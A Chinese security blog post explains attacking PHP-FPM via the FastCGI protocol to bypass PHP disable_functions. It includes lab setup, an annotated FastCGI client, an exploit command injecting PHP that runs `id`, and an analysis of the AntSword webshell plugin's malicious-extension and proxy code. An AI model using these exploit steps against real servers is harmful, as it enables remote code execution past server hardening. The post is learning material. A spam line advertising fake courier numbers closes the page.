攻击PHP-FPM 实现Bypass Disable Functions
文章最后更新时间为:2019年07月22日 13:37:16
最近蚁剑有个更新 ,其中有一条是Bypass Disable Functions
插件的更新,绕过Disable Functions的原理是利用直接用 Webshell 请求 PHP-FPM/FastCGI
,对于此种情况前段时间刚好遇到,其实也寻找了一些Bypass Disable Functions的方案,但是没有去深入研究过,正好趁最近实习不太忙,学习一下此种攻击方式。
1. PHP-FPM介绍
这部分可以参考这里
既然是攻击PHP-FPM,我们首先需要了解一下什么是PHP-FPM,研究过apache或者nginx的童鞋都知道,早期的websherver负责处理全部请求,其接收到请求,读取文件,传输过去,就像下面这样
www.baidu.com
|
|
webserver(apache)
|
|
webserver根据路径,读取/var/html/index.html
|
|
webserver将读取到的内容发回给客户端
但是后来发展到PHP这种动态语言,webserver处理不了咋办呢?
那么能不能让webserver增加功能来处理请求呢?当然不行,因为动态语言那么多,python、php、jsp、asp...以后说不定还有很多新的动态语言,websherver当然不干这么蠢的事情,于是webserver将请求转发给php解释器,让他们自己去处理。
当然webserver不是简单的转发请求包给php解释器,而是根据协议对其进行重新封装,这个协议就叫CGI协议,对其进行封装的就是CGI程序。(后来CGI协议和程序都升级了,改名叫Fast-CGI)
请求包封装好了,接下来要把它发给php,具体发到哪里呢?这里也就是发给PHP-FPM程序,PHP-FPM按照Fast-CGI的协议将TCP流解析成真正的数据。
于是动态页面的请求就像下面这样。
www.example.com/index.php
|
|
nginx
|
|
加载nginx的fast-cgi模块
|
|
fast-cgi对根据fast-cgi协议请求包进行封装,然后将封装好的包发给php-fpm
|
|
php-fpm 据fast-cgi协议将TCP流解析成真正的数据,调用php文件
|
|
php-fpm处理完请求,返回给nginx
|
|
nginx将结果通过http返回给浏览器
总结来说php-fpm是一个fastcgi协议解析器,负责按照fastcgi的协议将TCP流解析成真正的数据
PHP-FPM默认监听9000端口,我们可以自己构造fastcgi协议,和fpm进行通信。于是就有了利用 WebShell 直接与 PHP FastCGI (FPM) 来实现Bypass Disable Functions。具体怎么操作,继续往下看。
2. 安装PHP-FPM
想要研究利用原理,安装环境是第一步,这里我是在ubuntu18虚拟机上安装的步骤
sudo apt update
sudo apt install -y nginx
sudo apt install -y software-properties-common
sudo add-apt-repository -y ppa:ondrej/php
sudo apt update
sudo apt install -y php7.3-fpm
接下来设置fpm与nginx之间的通信,php-fpm的通信方式有tcp和套接字(unix socket)两种方式,详情参考 这里。
接下来配置tcp模式下的php-fpm:
sudo vim /etc/nginx/sites-enabled/default
(默认配置文件地址,因环境会变化),去掉第57行开始的注释,设置为如下配置:sudo vim /etc/php/7.3/fpm/pool.d/www.conf
,配置php-fpm的监听为120.0.0.1:9000。重启php-fpm和nginx
/etc/init.d/php7.3-fpm restart service nginx restart
此时查看9000端口:(如果9000端口没开,则代表php-fpm没启动,尝试重启一下)
ubuntu@ubuntu:/var/www/html$ sudo netstat -ap | grep 9000 tcp 0 0 localhost:9000 0.0.0.0:* LISTEN 32488/php-fpm: mast
- 检验一下,在/var/www/html新建个phpinfo.php,如下则代表成功。
3. 攻击PHP-FPM的原理
基本原理就是模仿nginx的fast-cgi,直接与php-fpm进行通信。在通信之前,我们首先需要了解一下其通信包的构成。
3.1 fastcgi协议
Fastcgi协议由多个record组成,record也有header和body一说,但是和HTTP头不同,record的头固定8个字节,body是由头中的contentLength指定,其结构如下:
typedef struct {
/* Header */
unsigned char version; // 版本
unsigned char type; // 请求包的类型
unsigned char requestIdB1; // 请求包id高8位
unsigned char requestIdB0; // 请求包id低8位
unsigned char contentLengthB1; // body长度高8位
unsigned char contentLengthB0; // body长度低8位
unsigned char paddingLength; // 结尾填充长度
unsigned char reserved; // 保留字节
/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;
可以看出一个请求头为8个字节。其参数解释如下:
- version:用来表示版本信息,如果是web服务器给php-fpm发送的消息,请求头中只需要将其置0就可以
- type:此字段用来说明每次所发送消息的类型,其具体值可以为如下:
- requestId:占俩个字节,一个唯一的标志id,以避免同时处理多个请求时的影响。
- contentLength:占2个字节,表示body的长度。语言端解析了fastcgi头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是body体。
- paddingLength:填充长度的值,为了提高处理消息的能力,我们的每个消息大小都必须为8的倍数,此长度标示,我们在消息的尾部填充的长度
- reserved:保留字段
3.2 fastcgi客户端脚本分析
协议的内容大致了解了,接下来就是写代码,封装一下请求包。已经有前辈做了这件事情-->https://github.com/wuyunfeng/Python-FastCGI-Client,我们来尝试分析一下代码。
#!/usr/bin/python
import socket
import random
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# 版本号,不重要
__FCGI_VERSION = 1
# FastCGI服务器角色及其设置
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
# # type 记录类型1-11
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
# 头部长度,默认为8
__FCGI_HEADER_SIZE = 8
# 自定义请求状态
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
# 此函数创建了一个socket,并且去连接(self.host, self.port)
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
# 此函数根据fcgi_type对content进行封装
length = len(content)
return chr(FastCGIClient.__FCGI_VERSION) \
+ chr(fcgi_type) \
+ chr((requestid >> 8) & 0xFF) \
+ chr(requestid & 0xFF) \
+ chr((length >> 8) & 0xFF) \
+ chr(length & 0xFF) \
+ chr(0) \
+ chr(0) \
+ content
def __encodeNameValueParams(self, name, value):
# 此函数对body进行编码
nLen = len(str(name))
vLen = len(str(value))
record = ''
if nLen < 128:
record += chr(nLen)
else:
record += chr((nLen >> 24) | 0x80) \
+ chr((nLen >> 16) & 0xFF) \
+ chr((nLen >> 8) & 0xFF) \
+ chr(nLen & 0xFF)
if vLen < 128:
record += chr(vLen)
else:
record += chr((vLen >> 24) | 0x80) \
+ chr((vLen >> 16) & 0xFF) \
+ chr((vLen >> 8) & 0xFF) \
+ chr(vLen & 0xFF)
return record + str(name) + str(value)
def __decodeFastCGIHeader(self, stream):
# 此函数对header进行解码
# 被用于__decodeFastCGIRecord函数的一部分
header = dict()
header['version'] = ord(stream[0])
header['type'] = ord(stream[1])
header['requestId'] = (ord(stream[2]) << 8) + ord(stream[3])
header['contentLength'] = (ord(stream[4]) << 8) + ord(stream[5])
header['paddingLength'] = ord(stream[6])
header['reserved'] = ord(stream[7])
return header
def __decodeFastCGIRecord(self):
# 此函数对record进行解码
header = self.sock.recv(int(FastCGIClient.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = ''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
buffer = self.sock.recv(contentLength)
while contentLength and buffer:
contentLength -= len(buffer)
record['content'] += buffer
if 'paddingLength' in record.keys():
skiped = self.sock.recv(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
# 区分多段Record.requestId作为同一次请求的标志
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = ""
# 构造header
beginFCGIRecordContent = chr(0) \
+ chr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ chr(self.keepalive) \
+ chr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
# 构造body
paramsRecord = ''
if nameValuePairs:
for (name, value) in nameValuePairs.iteritems():
# paramsRecord = self.__encodeNameValueParams(name, value)
# request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, '', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, post, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, '', requestId)
# 发送fast-cgi格式的包
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = ''
# 接受返回包
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
# 接受返回包
while True:
response = self.__decodeFastCGIRecord()
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
3.3 尝试对本地php-fpm进行攻击
这里利用的是P牛写的 exp。
python fpm.py 127.0.0.1 -p 9000 /var/www/html/phpinfo.php -c '<?php echo `id`;exit;?>'
上面利用时还需要注意的是,我们需要知道一个服务端已知的php文件,因为php-fpm拿到fastcgi数据包后,先回去判断客户端请求的文件是否存在(即fastcgi数据包中的文件名),如果不存在就不会执行,并且由于security.limit_extensions这个配置,文件名必须是php后缀。如果不知道Web的绝对路径或者web目录下没有php文件,就可以指定一些php默认安装就存在的php文件
可以使用find / -name *.php查找自己服务器上有哪些php后缀的文件。
如果管理员为了方便把fastcgi监听端口设置为: listen = 0.0.0.0:9000而不是listen = 127.0.0.1:9000 这样子可以导致远程代码执行。
4. 使用webshell攻击PHP-FPM
一开始看到的项目是https://github.com/ttttmr/php-fpm,但是发现其只是用了P牛的脚本,并没有真正实现webshell攻击端口,而是将P牛写的脚本的请求包拦截下来,然后用php再发一遍,期待作者后续的更新吧。当然这种情况不能绕过Disable Functions,因为本质上还是原来的php解释器来解析,还是会加载php.ini。
接下来看下蚁剑的插件更新,https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/5。
首先跟着介绍走一遍,发现其上传了一个.antproxy.php,基于此脚本,实现了另一个webshell,同时可以执行命令了。来下webshell的内容:
<?php
set_time_limit(120);
$aAccess = curl_init();
curl_setopt($aAccess, CURLOPT_URL, "http://127.0.0.1:60733/index.php?".$_SERVER['QUERY_STRING']);
......
<以下是发送请求和接受请求>
这里的webshell又向60733端口发送了payload,接下来看看60733端口是什么程序。
尝试了一系列命令:
root@ubuntu:~# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
d294e4f4d7c9 nginx:1.17 "/bin/sh /start.sh" About an hour ago Up About an hour 0.0.0.0:18080->80/tcp, 0.0.0.0:18443->443/tcp 5_nginx_1
88f09ddf924f antswordproject/antsword-labs:php-7.2.20-fpm "docker-php-entrypoi…" About an hour ago Up About an hour 9000/tcp 5_phpfpm_1
root@ubuntu:~# docker exec -it 88f /bin/bash
root@88f09ddf924f:/var/www/html#
.....
# 使用netstat需要安装net-tools
# 使用ps需要安装procps
.....
root@88f09ddf924f:/var/www/html# ps -aux |grep 60733
www-data 11 0.0 0.0 2388 760 ? S 02:25 0:00 /bin/sh -c php -n -S 127.0.0.1:60733 -t /var/www/html
www-data 12 0.0 1.0 79136 22184 ? S 02:53 0:00 php -n -S 127.0.0.1:60733 -t /var/www/html
root 404 0.0 0.0 3084 888 pts/0 S+ 03:40 0:00 grep 60733
# 很奇怪,上面用netstat -anp | grep 60733和lsof -i:60733都没用。
从上面的程序可以看出来又运行了一个php server,监听的是60733端口,-n就是不使用php.ini,从而实现了bypass disable_functions。
通过什么方式运行新的php server?接下来看下插件源码--> 点击这里
关于php-fpm的代码在core/php_fpm/index.js
。关键位置在133行的exploit()函数里面。
//首先随机生成一个php server 端口
let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000
//接下来138-151行验证fpm连接方式是否可行
//153-174行生成扩展
//let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${self.top.infodata.phpself}`;
//176行到194行上传扩展
//接下来197行开始构造请求包攻击php-fpm用来加载扩展
//构造请求包是加载了payload.js中的FastCgiClient类
//触发 Payload 后,就会执行启动一个新的 PHP Server
结论: 生成ext,攻击php-fpm执行ext,在目标机器本地开启一个新的web服务,然后再用受限制的 webshell 转发请求到新开启的服务上去。
到这里有个问题,生成的ext为什么可以执行,为什么不会受到disabled function限制?这里再回过头看下生成的ext是什么玩意。
// 生成 ext
let wdir = "";
if (self.isOpenBasedir) {
for (var v in self.top.infodata.open_basedir) {
if (self.top.infodata.open_basedir[v] == 1) {
if (v == self.top.infodata.phpself) {
wdir = v;
} else {
wdir = v;
}
break;
}
};
} else {
wdir = self.top.infodata.temp_dir;
}
let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${self.top.infodata.phpself}`;
let fileBuffer = self.generateExt(cmd);
if (!fileBuffer) {
toastr.warning(PHP_FPM_LANG['msg']['genext_err'], LANG_T["warning"]);
self.cell.progressOff();
return
}
通过self.generateExt(cmd)生成了一个fileBuffer,然后通过下面代码传了上去。
core.filemanager.upload_file({
path: ext_path,
content: fileBuffer
})
那么重点就在于generateExt函数了,这个在core/base.js
里面。
// 生成扩展
generateExt(cmd) {
let self = this;
let fileBuff = fs.readFileSync(self.ext_path);
let start = 0, end = 0;
switch (self.ext_name) {
case 'ant_x86.so':
start = 275;
end = 504;
break;
case 'ant_x64.so':
// 434-665
start = 434;
end = 665;
break;
case 'ant_x86.dll':
start = 1544;
end = 1683;
break;
case 'ant_x64.dll':
start = 1552;
end = 1691;
break;
default:
break;
}
if(cmd.length > (end - start)) {
return
}
fileBuff[end] = 0;
fileBuff.write(" ", start);
fileBuff.write(cmd, start);
return fileBuff;
}
直接在so/dll文件的固定位置写进cmd命令。看一下ext/ant_x86.dll是什么:
简单粗暴,dll/so文件给cmd留点位置,需要执行啥命令就写啥命令进去。然后执行dll/so就可以执行该命令了。
5. 总结
关于利用原理,只能说是看个大概,会读不会写的那种,还是太菜了,一下午时间主要的是学习到了对php-fpm的攻击,接下来计划抽时间看看蚁剑Bypass Disable Functions的其他方式。
单号网 空包网 快递单号购买 快递代发就找www.danhw.com